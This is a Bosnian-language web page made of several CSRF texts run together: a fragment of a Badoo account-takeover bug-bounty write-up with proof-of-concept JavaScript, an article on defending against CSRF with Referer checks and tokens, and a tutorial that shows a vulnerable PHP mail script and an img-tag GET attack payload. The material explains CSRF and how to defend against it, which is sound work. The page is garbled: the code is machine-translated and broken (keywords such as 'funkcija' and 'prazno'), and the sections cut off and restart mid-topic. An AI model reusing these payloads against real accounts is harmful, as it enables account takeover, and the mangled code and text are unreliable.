1 2 3 Badoo nalog je preuzet 4 6 7 8 9 funkcija getCSRFcode(str) ( 10 return str.split('='); 11 ) 12 window.onload = function())( 13 var csrf_code = getCSRFcode(url_stats); 14 csrf_url = 'https://eu1.badoo.com/google/verify.phtml?c 15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu 16 ser=3&session_state=4b856none=4b856none=4b856none. 18 window.location = csrf_url 19 ); 20

U osnovi, kada bi žrtva učitala stranicu, napravila bi zahtjev Badoo skripti, pokupila bi rt parametar za tog korisnika, a zatim bi uputila zahtjev u ime žrtve. U ovom slučaju, to je bilo povezivanje Mahmoudovog računa sa računom žrtve, što je omogućilo da se račun potpuno preuzme.

zaključci

Gdje ima dima, ima i vatre Ovdje je Mahmoud primijetio da se rt parametar vraća na različitim mjestima, u određenim json odgovorima. Dakle, on je ispravno pretpostavio da bi se mogao prikazati negdje gdje bi se mogao koristiti u ovom slučaju u js fajlu.

Rezultati

CSRF napadi predstavljaju još jedan opasan vektor napada i mogu se izvesti sa malo ili bez aktivne akcije od strane žrtve. Pronalaženje CSRF ranjivosti zahtijeva određenu domišljatost i, opet, spremnost da se sve testira.

Po pravilu, obrasci su zaštićeni prema zadanim postavkama okvirima kao što je Rails ako web lokacija uputi POST zahtjev, ali API-ji mogu

biti posebna priča. Na primer, Shopify je prvenstveno napisan na Ruby on Rails okviru, koji podrazumevano obezbeđuje CSRF zaštitu za sve forme (iako se može onemogućiti). Međutim, očito to nije nužno slučaj za API-je kreirane korištenjem ovog okvira. Konačno, obratite pažnju na pozive koji mijenjaju podatke na serveru (kao što je akcija brisanja) i vrše se pomoću GET zahtjeva.

Pokušao sam da opišem šta je tačno ova ranjivost i, što je još važnije, koji su uslovi neophodni za izvođenje CSRF napada.

U ovom članku pokušat ću govoriti o zaštiti od napada ove vrste izvana:

• Sa strane klijenta - glavni načini da se zaštitite
• Strana servera - pravilan dizajn aplikacije

Ako vas zanima kako se zaštititi od CSRF-a, dobrodošli u cat.

opće informacije

Generalno, želim da vas podsetim da CSRF NIJE ranjivost, to je vrsta napada. I ovaj napad se izvodi na krajnjeg korisnika web aplikacije koristeći ranjivost u ovu aplikaciju, što se može nazvati "Nedostatak pravilne provjere izvora zahtjeva" (sam sam smislio naziv, ne sudite strogo, ali je istina). Ali u daljem tekstu CSRF ću nazvati ranjivost i napad spojen u jedno jer je jednostavnije, a to je način na koji je prihvaćen =)

A pošto se napad vrši na korisnika, onda se korisnik mora braniti... šalim se =) Činjenica je da svaki korisnik može smanjiti mogućnost ovog napada na bilo koju stranicu koju koristi (čak i ako ove stranice nemaju ugrađena zaštita od CSRF). Ali osim korisnika, sami programeri sajta mogu dizajnirati svoju aplikaciju na način da spriječe mogućnost izvođenja ovog napada na svoje korisnike.

Pogledajmo zaštitu s obje strane.

Zaštita korisnika

Općenito, ovdje je sve vrlo banalno:

• Nemojte klikati na linkove koje vam nude treća lica. Ovo je najbanalniji savjet, mislim da to već svi znaju, ali ja sam odlučio još jednom reći.
• Poništite autorizaciju nakon završetka rada s određenom web lokacijom. Čak i ako postoji ranjivost, napadač neće moći izvršiti radnje na ciljnoj lokaciji u vaše ime.
• Koristite poseban pretraživač ili “privatne ili anonimne načine” za rad sa važnim lokacijama (idealno, koristite jedan pretraživač za svaku lokaciju ^_^ ili još bolje, poseban računar: D).

To je sve. Sada pređimo na glavnu stvar.

Zaštita programera

Kao što je već spomenuto, ranjivost leži u nedostatku odgovarajuće provjere izvora zahtjeva. To jest, kada razvijamo aplikaciju, moramo ugraditi funkcionalnost za provjeru ovog izvora. I šta nam prvo padne na pamet? Tačno! Provjera upućivača.

Provjera upućivača

Reći ću odmah, za one koji čitaju članke dijagonalno. Loše je zasnivati ​​svoju odbranu samo na provjeri ovog zaglavlja(!). Zašto - pogledajte u nastavku.

Prvo, hajde da shvatimo šta je ova metoda.

Radimo sa web stranicama koristeći HTTP protokol. Svaki paket ovog protokola je skup zaglavlja + sadržaj paketa. Jedno od ovih zaglavlja je Referer. Sadrži adresu izvora preporuke. Trivijalan primjer: imate otvorenu stranicu A, na ovoj stranici kliknete na link do stranice B, u ovom trenutku, kada podnesete zahtjev, zaglavlje Referer će sadržavati adresu stranice A. Odnosno, čini se da je ovo idealan mehanizam za praćenje odakle je korisnik došao.

Evo rena. I poenta ovdje nije u tome da se referer može lažirati (koji bi razuman haker tražio od žrtve da zamijeni upućivača i prati navedeni link). A činjenica je da, prema mojoj statistici, oko 5% korisnika ima onemogućen prijenos Referer-a. Odnosno, ili ovih pet posto uopće neće moći raditi sa sajtom, ili će biti ranjivi na ovaj napad (u zavisnosti od politike vaše aplikacije).

Da, da, da, znam na šta misliš... Pa, šta je dođavola sa ovih 5%? Neka budu ranjivi, ali preostalih 95% je zaštićeno, a pritom koštate malo krvi. Odnosno, ako referer sadrži adresu naše aplikacije ili je prazan, onda smatramo da je izvor potvrđen? Evo opet hrena! Postoje opcije za prisiljavanje pretraživača žrtve da ispuni zahtjev bez navođenja referera (pisao sam o tome)! I voila! Ispostavilo se da su svi korisnici još uvijek ranjivi.

Općenito kao nezavisna metoda ovu metodu besmisleno.

Potvrda akcije

Uz svaki obrazac za podnošenje možete priložiti captcha i pokazati je čak i registrovanim korisnicima da ih sačuvaju od CSRF-a... Iako bih, možda, više volio da dam svoj nalog hakeru nego da radim u takvom sistemu...

Tokens

E, sad jedini ispravan i pouzdan način.

Značenje ovu metodu sastoji se od dodavanja parametra koji sadrži neke "tokene" na svaku vezu, obrazac za podnošenje, itd. A kada primi zahtjev, server mora provjeriti prisustvo ovog tokena u prihvaćenim parametrima. Naravno, svaki token za svakog korisnika mora biti jedinstven, a još bolje ako je svaki token jedinstven.

Jedan od najjednostavnijih i najpouzdanijih primjera implementacije - novi token se generira sa svakim zahtjevom i instalira se u kolačiće korisnika te se također dodaje parametrima obrazaca i linkova na stranici:

A zatim, po prijemu svakog zahtjeva, token iz kolačića se upoređuje sa tokenom navedenim u parametrima obrasca. A ako su isti, onda je izvor zahtjeva legalan. Zatim se token ponovo generiše i ponovo postavlja u kolačić, itd. round.

Generalno, implementacija može biti drugačija, ali problem je što je prelazak na tokene prilično težak jer morate voditi računa o svakom linku, svakoj formi, svakoj stranici... Možete zaštititi samo važne stranice/obrasce/linkove, ali onda postoji šansa da neke od njih propustite.

Ja lično štitim samo POST obrasce i vrlo važne linkove. To jest, POST u mojim aplikacijama ne radi bez ispravnog tokena. Ovo eliminira mogućnost da zaboravite zaštititi neki oblik, jer jednostavno neće raditi i odmah ću to primijetiti.

Zaključak

Nadam se da ćete iz ovog članka shvatiti kako se zaštititi od CSRF napada.

Od autora: razlog snimanja ove lekcije bilo je pitanje na našem forumu, koje je zvučalo ovako: kako zaštititi web stranicu od CSRF napada? Naravno, odmah smo odgovorili na ovu temu i dali mali algoritam za implementaciju zaštitnog mehanizma. Ali pošto najverovatnije nisu svi naši čitaoci čitali forum, odlučio sam da snimim zasebnu lekciju o gore navedenom pitanju.

Odmah bih želio napomenuti da trenutni video neće pružiti punopravno gotovo rješenje koje se može implementirati na traženu web stranicu. Jer svako od vas ima ili će imati web stranicu sa unikatnom logička struktura, odnosno potpuno drugačiji od drugih, što znači da je nemoguće kreirati gotovu zaštitnu skriptu, promatrajući apsolutno sve moguće opcije implementacija.

A to nije neophodno, budući da je suština zaštitnog mehanizma prilično jednostavna, pa ćete stoga u trenutnom videu, koristeći primjer test stranice, vidjeti kako se možete zaštititi od gore navedene vrste napada, a zatim, na osnovu stečenog znanja, poduzet ćete slične korake na vlastitom projektu. Pa počnimo.

CSRF je akronim formiran od engleskih riječi Cross-Site Request Forgery, što znači krivotvorenje zahtjeva na više lokacija. Ovaj termin davno je uveo Peter Watkins 2001. godine, ali se o mogućim napadima ove vrste počelo pričati još 1988. godine. Imajte na umu da je već prošlo dovoljno vremena, ali je većina internetskih stranica još uvijek podložna ovom napadu. Odmah se postavlja pitanje - zašto je to tako? A odgovor je prilično jednostavan i leži u činjenici da ranjivost na CSRF napade nije greška u kodu aplikacije, već posljedica potpuno normalnog rada pretraživača i web servera.

Suština napada je da napadač može izvršiti različite radnje na nezaštićenoj web stranici u ime drugog registrovanog (ovlaštenog) korisnika. Drugim riječima ovaj tip napad podrazumijeva posjetu korisnika web stranici napadača, što dovodi do toga da se, neprimijećeno, neke unaprijed definirane radnje izvode na drugoj web stranici ili servisu na kojem se ovaj korisnik nalazi. ovog trenutka ovlašteni.

U ovom slučaju, po pravilu, mete CSRF napada su različite interaktivne web aplikacije koje izvode određene radnje, na primjer servisi za slanje e-pošte, razni forumi, sistemi plaćanja itd. Odnosno, haker može obavljati neke radnje u ime drugih korisnika - slati poruke, dodavati nove račune, obavljati finansijske transakcije itd.

Pogledajmo sada učinak ovog napada na primjeru testnog mjesta.

Recimo da postoji web stranica čiji je posao slanje email na navedenoj adresi u ime ovlaštenog korisnika. To jest, na početna stranica vidimo obrazac za slanje poruke. Štaviše, postoji i mehanizam za slanje poruka prilikom prosljeđivanja određenih parametara putem GET zahtjeva (samo na primjer). Stranica za prijavu izgleda ovako:

Ova stranica sasvim običan, ali ono što vam upada u oči je okvir za potvrdu “Član” koji se koristi za čuvanje podataka o autorizaciji u kolačićima pretraživača. Zapravo ovaj mehanizam vrlo zgodno za korisnike, jer pojednostavljuje ponovni pristup stranici, ali vrlo nepoželjno sa sigurnosne tačke gledišta. Ali ipak, zbog posjetitelja, često se moraju napraviti određeni ustupci.

Kod za slanje poruka na dva načina (GET i POST) izgleda otprilike ovako:

//Slanje poruke if($this->isGet() && !empty($_GET["email"])) ( $body = "Zdravo, ovo je obrazac za poruku - ".$this->user["name"] ; $body .= " Sadržaj - iz GET - ".$_GET["content"].." Od - ".$_GET["email"]; mail(" [email protected]","Nova poruka",$body); ) if($this->isPost()) ( $body = "Zdravo, ovo je obrazac za poruku - ".$this->user["name"]; $body .= " Sadržaj - FROM POST - ".$_POST["content"]."Od - ".$_POST["email"]; mail(" [email protected]","Nova poruka",$body); )

//Pošalji poruku if ($ this -> isGet () && ! prazno ( $ _GET [ "email" ] ) ) ( $body = . $ this -> korisnik [ "name" ] ; $body. = "Sadržaj - iz GET-a - " . $_GET["sadržaj"]. "Od - ". $_GET["e-pošta"]; if ($this -> isPost()) ( $body = "Zdravo, ovo je obrazac za poruku - " . $ this -> korisnik [ "name" ] ; $body. = "Sadržaj - IZ POSTA - " . $_POST["sadržaj"]. "Od - ". $_POST["e-pošta"]; mail(" [email protected]", "Nova poruka", $body);

Sada, pogledajmo još jednu lokaciju - hakersku stranicu.

Na koji može postaviti prilično jednostavan, ali vrlo efikasan kod ako je potrebno izvršiti napad na GET zahtjev:

< img src = "http://localhost/csrf/[email protected]&content=Zdravo svijete" >

To jest, u suštini, vidimo img tag, čiji atribut src sadrži putanju do lokacije koja je namijenjena napadu, sa skupom potrebnih parametara za izvođenje određene radnje. U našem slučaju, ovo je slanje poruke, što znači da sada napadač treba samo da namami korisnika na trenutnu stranicu i, bez njegovog znanja, zahtjev će biti upućen stranici od interesa, jer će pretraživač pokušati da se učita sliku, putanja do koje je navedena u atributu src. U isto vrijeme, sjećamo se da kolačići pretraživača pohranjuju autorizacijske podatke i, naravno, aplikacija ih odmah koristi i, u skladu s tim, gore navedeni zahtjev će uspješno obraditi server. To znači da će poruka biti poslana u ime korisnika.

Ako pogledamo skup zaglavlja koja se šalju zajedno sa zahtjevom, tada zaista možemo vidjeti kolačiće s podacima za prijavu račun, što naravno znači - kao što je gore spomenuto - da će zahtjev biti percipiran kao da dolazi od autentificiranog korisnika.

Potpuno ista situacija vrijedi i za slanje zahtjeva. POST metoda, samo u tom slučaju, napadač će kreirati obrazac na svojoj web stranici koji će automatski biti poslan koristeći JavaScript čim posjetitelj uđe na ovu stranicu.

Stoga je imperativ da se zaštitite od napada ove vrste i jedinog efikasan metod zaštita je korištenje posebnih tokena.

Sigurnosni token je niz koji se nasumično generira za određenog korisnika i prenosi u svakom zahtjevu koji uključuje promjenu podataka. Osim toga, token se također pohranjuje u sesiji. Dakle, suština zaštite se svodi na jednostavnu provjeru korespondencije tokena koji se prenosi u zahtjevu i tokena koji je pohranjen u sesiji. Ako su oba tokena identična, onda je zahtjev poslao ovlašteni korisnik. Ako se tokeni ne poklapaju, ili uopšte nema tokena u zahtjevu, tada možemo sa velikom sigurnošću suditi da se vrši napad, što znači da se ne mogu izvršiti nikakve radnje.

Napominjemo da apsolutno svi zahtjevi koji imaju za cilj promjenu ili izvođenje određenih radnji moraju biti zaštićeni.

Zapravo, u ovoj fazi je tekstualni dio lekcije završen i nastavićemo da pričamo o zadatoj temi u video verziji. Istovremeno ćemo razmotriti metode za generiranje tokena i praktično implementirati gore opisani algoritam zaštite. A sada da se pozdravimo. Sretno kodiranje!!!